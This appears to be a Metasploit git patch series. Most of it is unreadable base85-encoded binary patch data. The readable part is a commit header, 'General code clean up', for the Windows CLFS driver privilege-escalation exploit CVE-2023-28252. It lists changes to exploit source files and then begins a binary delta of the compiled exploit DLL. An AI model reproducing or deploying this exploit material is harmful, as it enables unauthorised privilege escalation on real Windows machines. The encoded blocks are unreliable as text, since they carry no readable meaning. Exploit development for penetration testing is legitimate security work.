zB1O9duDyXCv@K>O5Wvm5m3)p9>sML#*6+Y^Yb%8(uB^S-#B5^L??|sbw8Q7>)VwgbzNlmNE0Cnj~-$!RLevr(-(r_dL&lSg99Ca~fk4O^At zJ~}Kt!5mg@AEtcnp#?6#M4$UE9+d$Gzy`%Ia+`z6mSbwfxaD5<7LFLZEzx?~>vN}C z@7tB*v#|B{0A6puU@u`!$j+Kkw%mc)hYw*t*$YU0(?kh}kb>x_-Q6f}borCRucJ5m zFCI502KQb9r;hZ92)VLCt<7%RJLf2_Iqx%I@v|jIpb_)PBV!X@;yV6*0S(XTGUlyQ z+cU_PP-^Gd1%2wj#9dks@TlOu(DSQacFGKuBe?UY-M8@sih}|cpEKtVnR6;t1{~lA zW4xbaQCM~zsf>#$buPX^&K@$ug(y7mItnL3*jrnoJx^TOc?eMto1ymPk7sqrNstte zbvehbBae?*N3~mHQ#`)Wpxh~}?NI?YIU2_VaOG>%YFOu!1l16kD~t{HN-R-d-wDf3)sgK>cwnw-R~|-h(*+Z9f)1uk^q}vE5u?-C zK?jh-7mbLxuW%@wuBp@to+mqd5Vfn&_9-`C;yU6b0+lkDWY?64X1VxF-M5H&*@(#| zNe-JIQNGfHg}=)|pTiZam=4md#QMeb!Q0-V?Q+$Kjjf7qMDXh=A^y@*1aHKpcmVV}=^ zh*r!k3oNP8Bo~dEMeQG!eE?@sw?$}pw3;MMRkpNJdt>=5=ywSB#>y07*=|7DwIs%) zr(-Yg$EfH#JTeC9Fweeyt=F3H|BbAjv$Fyq-4&4F2EMI;7`DxT7Stb;I z>C2h}Lq00e_x%cI-$2Q{$D`)+&KMW3#XeU6+I|N`k#+a(k1zzD8^H@N$ zVq(dcQNpU5$*o~|>DfFMoBw%gVU@IJk^_1?)fW#sZD#YpCn7{I*vcsya{Yya8|@td zi1?)s6H1&?08ev7sE+C#R2vT5pM4nH@TnNj@<=J!ZAj&?sOk)Vf}`~_5tajVEg>zl z6H{1T_;V4GpT=ZRm^YkkO+>^|CeE7t0WAsa?|sww&~iUb2&^{Shei4Dd(L)$gC3t3 zqS{$8(d4%qvGP`_nA3Ii;lC8&S!{eG8;M#)-o2#eD_li>WsYPRH0|F*fY9t`j``h3 zZoU>_21Cjr%gQrvJo$Ab@G4bkdkaO9%Kz4m89hkoK!9LW1A4I5*@#|21@t1zp-eYTW#c|cim{Nj~>UOs# zg}2lBtLKR4WQLa%nH;Z?rpU_XCbg<|x@5ciI4>+9#>+^G!m~Ya(`H9RW>I?SLW6bB zP%k-)a2+v!p(3Kb7_xw6u@@9$Im|MoxO!PrI19O2h(;tg*O05FsG5c;k1>n10AL%W z6{3V37nn&Fz<9p5n3-nDlO9<9f9~}zV9jQ z2c-x^2lNBNUi@hDqn&8Ql@<^&kp``Ah>6gsEX75>WD=g*7v;Wthg#p2$AmBwRb&Q# zsC+)ya4Wv8c^rFs86GVq8MGmIEh%LvyLOcCaM(T%c4Ayvb38|!uta#(E)3th8@>GH z7@D^_1>A;EJHt?xpp-ZhWJ@VAf11B%_Kt(*VXGt?6wnIqGKoP2pDycqLlAG@Fc#E%)G z4{UiI&u6~qEW5w#8WN-Gj7BX*%Wgj^Tm2SS;RI%@*EFJO^u{ys3}F=xnMqM~ows$% zd6b@726T3INH5&)#Lj+C`EbtOEpr8ZIJFs?>G&6=yIP~pNYbP@BpQ?Q$aUP3bOCL- zIy^G$CydLp!J0HB9G_&lWrpmQrK}yF*^kel)Yj!Ob%Mb9slmx<&Rp42OISO#yT0Fp zbDDY#&0iB4L!}_fMk23gg#o7 zRq{0IqlN-fbfW$Gos$2RHKVdn{u>!_Kqg{9*Rp+(Sztb}Qeu|Mt|2wYc4|25I_jmy zMr23oC922GO*(KFdt4KS7!aAL41*mgG}=fNI(z0vHt}7Lvb?(Hz=NO;WDtBbN#~-R) zEByA^0c_XS7TETWtW@8;wXO0q?3-;Y@IoPD2c~f5>Pa?#Da_yAK0Ab%Z5bv;78+ZW znlQ@8Bz$7CieKG>8n~Si(_w4Sgulpl#r8v}uiBf?9I*mT=&R{H7VSWN)xn5l*(v0X zH)^XdQMm;y7%5mar=h&A4(3?TSuDH2bBWvMZ`=nE4Rfsk0cz{(eo=NVj(R zJ{&*0h>;AQ68l$y2^oAg?dU`7WuMZBcGr@Uk|I-%?LsN(YQ%Ju&ZSn=8qGbu8&}la zOlbV7v%O;$q2Eu09eb?+EO#lEBRrNwzg8TteGvT>9weT$@#OY!Dy!-55wl-oWU!|Z zF(1~{2|4xprqEuLQ!f#&Ls!%ZUsraEB|A}ayp5Qop(b1NP*VEKsqAxzVbxczpLhbTBR>fe(FtX@9W_@9 zICx)K-gnIl0qUIk+5lw zdUU*wdZVueVz{3_>;j!)v8{+~RKost3LM4G=IkdzHH6CBKf|W7A9n>0eSm$VzZFEO zxgoojM1O2sZpCTD96(@Ft{B;vgzcSrWzAb$H~d_L$+mxHdww{gpHNo#$haGC(F%_+ zp?XJJHl+MMNkr~^nDp&ooJkEdVfmz}RPK7%MLa4+uOvbSlbPS2< zD4!TLKhL?^^F2zHl0+t#z-3DnwI|)8-79jM0d6dbo9nW)Y$*TED#*X*t-0Oga(ewjp(% zLg)1_&)|6qS~D!R?TE>$Ae>-wv8mO%=+Uk>aaNSa8DcrjuMT`qu&%$BusR>$*I!US4vtA=L#$}^ZnlAgHdMA#5sZw;2Fq?N* zx$R43?mRF1(*?}jNy`OQT3xxg)LPMR5%(_OT2Y1x*HQ7i#C+~>r)KAHgdZY8v%XE7 z-1<>=v1VQNE3}Kh5Fu(*5P2?YP0OK4E;2RZe=*^Q8|c>=YC^W2kRe-gsqtyFxB3!} zPs1z`and2Gv3>GO=}}d9tCOflzhu}Uu)nzjxJpRS<3TlcqXZ2%;^g5&BAsZ zAt2`e$=uUVjy#Sd&`2?2t|q=*d8KrC#pUSN%&^cNBMA7C+@xsyp}i4V)v7wSs8($WHh{ z-JGB7!ZoaM0;U><01MMrcKcDj-NRK|9l({xuLLAWk&3p2lG}2WO}oAE@6XYu9WNlk zKB};FtOIu3B>Wn8mt4P#ZT7Voi{GLvS(RZ4D!YCJ=F?E^JLKd90aFL33|WRO$wi{p za`tMLuuQXWOh^ukG^b?5Z|0^8ShH^pc(B`v{W3z0CKZ|v$yNZ;L>?*M&w&q(ZT1>R zlSyWHj`Fxs{)yHfXCFcT#AGwX|4y99^&9%DI1ia(hAmPP=B9=G@r8)mYFoX{K8!<~ z$}mGCQ!NEYJ`OQrs$bu@gd^rOF^+U-mW@Q&hA(IAe}gu~cRZ3Z8V<&T)o^+%Nrxb2 zKT2k6snZ2Sy<^wJ2v1h^_!B!Z)^mm!(J?Dxgr{)or4?+q*_j43$LB#2>wXD0k6%?l z9cLL(9k~ie=!eV#RZgK!nk~U|m}idY6}lQHp{=sUfJSUwCc9PyCzFoU$-%k$S~DDJ*N}}wXfwa?4v)~Ev)+K@ zptT3e0{i>>Q|wI64Mr@-uLDpkl;1^8e2*)Xs7?B&g|Y)s9kPQb;T@mQZO$9?Mf}Fs zk##;VWfYtd$#0TmE|hXxkg_kwFDq~c5jQc!Fr_vrK@ExgRt!Dah{T+$(S@Ri6@d7= zIU;HN$i<`DFT7^P6KucDJRY9g<`8aDUb0^EdfdRCx5b3z2>&0U1*h)ba2R#NRs)h+ zr-F9FDM4_g-rl_?C_Z+sy6X(`aT`MnSF0SgBLZQ)`TrXH6g@eAh_LLR15hniYwO)? zY_UJhky_f<(44z?_pY;R*Kj zzj#bI@tuugb|O*x$DBPr<0N`C_c5eC2})IrcRHBVmfO|HZb3q3q6=1kfikln&>|u{ zBXr5iXxxV=0(M`Bfzu1kD<~JSHKAE+R$6hsA|M`Mh|%$hI=$pLRJkbBtmNq1R%cQ3 z9Aqd-3A#uXoC%|hiHL+_^mG!TlrJH~471bkNhk4)jYEhSn*e(a*=?N@8nt`*?gwy{ z;xM8lv~8`|L`K+M8v^I8|B5q+bHs>~W;aeNV%B;n{L+5R*E`B^pf=_L=a81!F#W{` zY?)&QjC`qy_sb)Pu_ng_6noE|qt0>p#dX?gtjP%jhTS!xY=B;SK01Onz)3{GLq$~) zDeANYwY_JFQZ+h}Iq)Xd=oG_ph%^&@^PYCtRYW;0px7_VR6cLH?S*fkj`$lAkI04qfXW)sP(b-;t;mN#9FFzC^Dw z7aggNl>*7trj$=;@Rgulh;xz0NuyXN8;6(?jMUZo3+FkP%y8_k5z$6liaW73x-1}( ztdp;Oh&nZBd;C1s=?X)Fy_WUVuppazgk{xwX`>rxSzTpFkbo8~?XI#>h_N)M+MygA z6Rrs;sx*m_D4%P@nDF}AwBy)UuL~$@%gV^dA$V5x_FBfX8wMO0<;;f!**qiqsp`-8 z*Vun%3=3aK;Qh6_L$5%C9#$@w1!g4g0{b^qK^7gUTTos)K``A_i9i$2GmiUJpnsB2Rt& zpy3b70)!J_L|RlsZmUoTb-c#rAVL8iK~f312$YX4@eFqj<=7bzqI7V|wB5V>wNp2@iiviqcCyraqs_5_ta^DLP&+H|Rq(HT-S$L(ywtnWDeR9`06|B&>t(kHrSs$3R6UI?U)6+?FZ}v@euHz! zuWE=hSSt}Ox%{GJ>tVaMk5RU&3kdeE3sD$%R$R$M35Ax6lNS5qJ12w4L$ z$VCmg+-gmXkkiUdJdLAQO+?Xa;q*xJ?k*dHsL9-%J*+0Rj2KeUl8r*uR}H(S?kXhM-POg;`#o4}Uk z*{V+?1CCU{9D;Ir^W!tfv&IG#sffu(A$a!d?9;DMqckz0uteLwT_oA#l$VE)om#MmE=ow&|Rec?jFa&4?kbifk03CW_kG zkFh510*X|DIs&6s*@o8zlYz(4By6l^B7hA;3h+%h& z5Srkl&;Yh7<}ILDm>Uj};3ZQQKSX}{@F*7MnQVR$H96nB<~g(hyYU$LGz-|?Ds2~P zXkQbGv{~eHjHu1K?hE&0ZTt*4QZaT2%E$}-SQOJ|1{A3v%SR!snx6)&+>1QxZbHcy zo-OK}br^Z(FW^{+nf%%iEmLIhQ#L;f;8F5v7Eti<&S%(T0(lgRZYjIR5To(g)G3P=r!Qzx6`{sv`MM$z5l_M?_oemku1E*Z+U`Wv-anFKz@ZV z6s(GQO`3IRX}n7TuO`Nl;$Nm$i{{PS;wkbiTQ(Q$ih(XM3Gy3iLy)bzA0Rvx6 z^~!X8?Ibn-7yYk-3m(`MQUfFDpN&`DxZoYl+O;$OjbHGuFelhw58n8~5B5CFHH>7J z*gqxU-gIdMtHz!pzB|V zzXDYTI#&;YF3dnz5NKu#G=^)8POH=>tJF%vHOvs6hYu0I3P4sBd&S0YVTBJqq_e?!Ei=>AjonCy)N=g6uBbg~RYdf3GvU z&VMTke`BqkVZFa7SF|E5Ft;o^rSOP?3TM{>j4lU$-3D(Ca@-S@TD4NuKU%BT;Xi4u zTK0!jw&?zmNil6(_m7T^i;h=DC+g!<)QL?abxE8C_I86E5BtL$0Pc)b0W~J>^oIq2 z)CgTnBK#2DKT*eSZwlY@ctg774IpPcg5jx2k z>GI6)z8O?~_g|NvFL3d4*>Zg9os6lAhrkKQjBc^dkz$W#FL+nX)34;9nU_y_tWGHA zt$lyV>FdrPjt*%EGJp-JaGtl==l9`GS>La%?J_iT*^9O{(v}X}ImER?pL0EHH_Fui z1+vHJ=1-ouq|%H)?*bJHCyh+=bUl0g$=A~^3|-gc-ND8_D-$1c+!LVt5#ENELE6i} zh3W8ig?C%nlo$Vo-$q~?w}($`%MS2~E!h!1vHx{~Pn<<`hEJ5QuJDPc(RsjUUHJ5Z zPu#V{4?gjXjqdQ-0zUoWvlV;>z$fw{5I)<$XApb>HWv(^+3=|ZX8LeWSd`pE1I|d& z#`M=j4T=RhpyUL8g1U4rgMIQiK8(FeaaFie+Cp4FLbO(+)5Pi(^+Osc0wUorg}Y9t zOp3x}P)^HrDZ@pl#n>zXr%YFJF&+DBbp7=jjY`))HM+mAMyK!HzO7KIBvsqiO}%@2 z!%|2z*R&~FR+MQN+)9*D2*m_PJsU!F8A)6ju4ox2XrV9^e;+MuJPSN`W&ANvV^74f z2tS>HRCq;1FfK)~-V>1!4arjxtP^nsI5sMz1Fum#6z7Ht-(0w=z%Xp@;#>{kn+rD( zzM(7>=VF9!E*y>lyEx~vB`Y{{Y49Cdu!XM%3YYUF+i!6zHz={W@iVtEX+A!m*7fqMO}db>{S5hLtwbos1nr5o-Nqz_!|zL*bm&IHA%@$ z6Jkzjot-{>z>&}`RvD>p+Pt}|8^nvTD`GtcCE%R#AIVFs!(iwpY48?z;XW*bvlI4k z^M^GR=`L(LXD5^xLv7$Iyu^A7>*4H#l3@N4>ns!^XD8HJOq`5_VtrMF(V)gMe>D~9 zD%2LvPB@xazIa{3U&s2xDlELQv79*t2r|A5;~6V6SG#s|_QGEnH@H6Vjp_`s$za)0 zKk&W8)CUa>1y42_ANbv+8JH|a!yXJ7Tb50WcI^dAh_`I!mMwp^1QZ)bR(u(N_`m3X znI&RwV334vXxX%HZuT4YcC>87FZMi_@-U14PKiLaq;Iz2O;crGKk`^RHy2lba4unB!*?hPPSMUZD4dV;PGTK_f zs^DXD;Qa@@b5j7k*5QZPm;?xG(nrVtuQE@d_)p>eBfPO*3g-&dn_uj;Vr}VoeQ33h=&Xa&fP zpcEw{!YfR3i4;kXZH3vay=ku$ocG(-m*@|`7q2gy9{D+^02Dmm^kqAoiyo4!0K5j$)8^0tHyI=iL5 ztb?UOV;A524Pt4{o95ht53xC~H^>&u@Bf#nO>?dJ!>t8XUb_yC-B~`(>EYoiqYr;l zD}Kkem&-@5@c(2{lXoxyZVA;@INR2m(TvWv)|}4h(+i}^ z-L}?L>&++E;>NN|Unb>2U#j*0>AYH8%v?2PC&?7rAmsRIOH(o}NzI+-0^@lt`GfGy zg*yb_crAHM_$FUV;{51;LQA>(=2+eQ)R664^9>^W`#+^2 z(Gi0ha(x~&`G0I`(-!T8!%1+yS%i!2p7F>T4(l*1w={)ygJ^v! zjAZ-^+q5xAuG!1Q)nKiJ8m@;aIIfw5j%gvuN;WF0(KQTr@t+FU<^#ok1iX3?-d_P- zbWNTHTiMOka-~?|0%y1gG(08H;fk`vpNjt8?Trl-!Y3?oG{uceVVfYs3swcWLsB}x z0PbSZaRF}zyn6}5CciQUV;{flg==-WC_SqqDOC8Nydr%3-MfWy4dITW(i->$kriko(3(|1N*fvmg?IN43iOWX8RQ=x z;0-IkJcL;tq__D5g?M^Lga`VCMYwxibDmRxnPXK4%aEQ0g>qmNstF!6@DrOKNa9SgF+&DdWVGi!JPr_pW$CEx!Uk^ z8OEBhV0e_jzlXbL_lV#Szn~Dmus#uiK_LO|{#+e_%9$gn`~n%bLCA`-hec3STz&Wz z`Vx)7L!&*BZ;X;5de&tVKeU?6^{$r$*}=qYZ?U zp<#DEIK~Z@NOcSghaxXl1$;soL=N>03JGJY-1sA~S!hu16QqE$lbkmch&>DngnujG zevhCae{c6d2Ih>9?-}Ih#r_%$zxHCR#Y!viH&#!)6YJ>6g(J-v0$v7 z*pDgrmtSC5tCq$_Oo2!gSWARv!ggki0s_{~c)uR*;BUZMW3hapv%%0}V52T!h!So_ zTGTW=OR!+&u$b5aLKU%Kh9{#$B*WjVPW)2OOBlyd%P5>{{#JPH;$l%V>NPre`)!-f zK^1-|apgeqh{|&YH){4F_*ZaRVUUKxd8GdrJ`IPh{W|dPIMqGPxMj2cc)PT~%A-G3 znU&sneD8q^fc=cFd043p16E}0TXJZ2q3O-9_?8;?tKX*C1-jLrxNPBw%9mhGHkHx& z`1^W$^t@U*W>VUXQ_s>4Ect^A-8rPpW9ELQ)4;(~jBdcy^HUCv=-=S?x^0i| zEZOi&*ZIRwEUnvTnad9!{ zn{StQXxM9dlV5-cDy(q6nI4(iuzQb%@$)8ppE05Gm+`H_byqu&{W7eFcI}M4`{69+ zri^Z``j6q8HZ;r3O6;7e8Cv(j^w?2VYDc~qoIGUL_35f2;QQ{+=(^?1YFM_+jU}sE zuABTz4lf~hUgv_ovzP4{BT&W zEXCxs=am=lS~r#BRx`R&{d6zKo_#dzUA?zAQX5w)QDsKM8rNJpcyHTqVqA&1P9T66 z8J%~L?S4NNY**syM{$RLIQ4ey(HqS&j*OqOR`vJFiG?384w zc~|XPZ|6Jx@OL+^E?rh(G)x7YvA&nD53g5tb7teE6Wn}T>q4DRBwnboe?`YjtCn6k zSToie+P4#NmJ~S=)YPp&m)8E9JrA9m@FeNZ;^Cc2N32Q+P}CV*IUBa-V|0`C z*TcRZIDOIhz=V`{wKw>+_vzuLd^)Ud?3K_XS>C^AfgC`aD4drcEBfb{B0tS^b+7&R z>g&xXDFVBls?+F5!;>XT*JwAUOB4idF}hJrFVDX{=!^E9kFPpf@aRWQ_kC~9ZxFJ1 zbj|rKN{+1MT$s*ZJ)Yxnr&@of3%G$fAhx|6aE>uX4v?_Zv%p1Q(s0m^K^|$RRWWr*0|Gr(&Mx@%MVSgUf}Tj z(i6Jqj{Nvx`v%~PGdO1y&LyVS`)6T#`++;ZyZp7s>zz(x&&=BNqT=+@@ps$LIPjza z3_`USU3>3;s&!8NvDc|FJ}>^-_;U46<)>{~Ryd(yg%5>ehI2F1InJBW6}|Lf?EMkh zjVi>q+j=x;=JXNof4tGK==sY-cMdvwsOYp49H(Y$k->pUL1I2NZkv{+QCaU26#Oz16!prx{KZk&r7yZ zKi+<9ea&41zE~b}{OEW4Pjp>eGy1@WIah|X;<(D7A{5TmmM^@~Q1fK=>WqSsCHA@2 zKe&9Iw!@rW^On1mE%{01`!K$AV{}FTnAf2H-4EvvejHwQ;f9YlCf8eAqu0i1t{%-F z?XU4>A*`{dGCIF?^=EHvbS(7N%Qq>vFH|1T_05nUIs^t^Y1QNEsDRJDfeJ5Wbc42} zW^KJ6_2u~sOI9{$9bZ$$m};X;opt%|Lj z_cSqT?fIjCTMN9u3TMTFjCWf%6dSBB)o12SXi$IG97a(>+V zc~zQ(e{>>r(^S~vpV4)g^z>!DA=NJQzFFn-QLXM=%+!0=+%jqQ{3(IoeP6kb|6r&u zquce{*l#;;>|bzgYH0I2D}T?~>|cJ}r;4&0#x&ShZusm~Ik1oeW4^-q+nwd_f8X!k zgaJXN17jPs9Jgp}Z1T$=#*UxYY~=SZosZ6g_GNSk9=jjHdKleg-@*-lK3in_x6%K+`81(tPKz2}WHz7QepN_^9&36W zYFQgXbr{{Os+EfPbU4(uT=$JdQV%s7IW+Xp@d5g8LVPCos?>7pVTkhF&giP?{HxZj zlUZqT*bsG4%#iUDM+7u}|LkGMvHM$8@~Ap58#V)FbZZOj$(g-t$J`=4AMNjV|8~jI z$NG2`m_F&}J;6gF25m1q2R6MahV{KY<&VD3zjbd^W8P;C(|RB8w0_vRk-HykSh@W2 zpvIjQt%0T)qw8L>)6Vu;D<>YfsM^(6IE^2vMQrCT^anW*Drg%UA?Bm`>S(xQ})7AHcp?N z18-Jbe=^Yf*xpn9Z*A~x^;`GW@8)!vF*NpUc(LcFet)Hf&>TkRv$!ucAh|;2k2n4t!*Mql-RO^t#HPJjn0j;i zgWYph?5zIB+`pbpOhr#jsk)@j7juC-?e&YMvs5)Y)o@?ERz)MLizeHAtx8#P=N`*oA6 z9rpcjY)P@c58D;{a#QgkBXH|sr2Aq>fvbP)z7o}-`t02oN6yLCOv{;GG<9rj@?a){>=U1oLTyLxe)A5MyEaN>OW?TPeEO1rgDkwJ?B+1m=V z#$bQT*nK`rAYK`n9GRTZG~Om9

O?ak&v{m61A)IyVX-H6dD~)@f9LoF`mOTHDq@ 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 Date: Fri, 4 Aug 2023 14:27:14 -0400 Subject: [PATCH 4/8] General code clean up --- .../CVE-2023-28252/CVE-2023-28252.x64.dll | Bin 320000 -> 318464 bytes .../local/cve_2023_28252_clfs_driver.md | 2 +- .../CVE-2023-28252/clfs_eop.cpp | 402 +++++++----------- .../CVE-2023-28252/CVE-2023-28252/clfs_eop.h | 12 - .../CVE-2023-28252/CVE-2023-28252/exploit.cpp | 61 +-- 5 files changed, 163 insertions(+), 314 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll diff --git a/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll b/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll old mode 100755 new mode 100644 index 737b7182d06e79ba6373d7eda4cd116e1c1c8d30..e48a16b520cf21b4f6a197be4f0e54a30dbd8a60 GIT binary patch delta 81132 zcmaHU2UrwW_xIj`RS?(3G8AP25fsIOA_^fyP%w*ty`W-?(HJ#}i4ZlGRe|Vc-B@mP zjIpQKqCrUnJBkX51;lP_v1Aatu^adMota%E$@~9&o?-4i?Vj7tIk(I@eSh8Qd3Cdc zSwO_wN8i`j|J~OF_`3sf2jpigC{JVXTcVSJKJO7Ne3(x-4Su+Yiug{z{6BV@m zPf0b+{bp4G)in_{G@6M`oi#r58#WMDHsvo^yBakO5b6#(U;dWhTkCo<(`Z5g>WX&& zA1U~`PIuO5+Jayl|5~WuPLT=On&trg092KKF&a%w%g;uP{baaCDNCcNuF=#4K}pUf zp&2uMUri&=`BI}XT6IkuIBAR-`-98VN|pQ!UrWQaa;yaO^fH0uHh8$7-7R 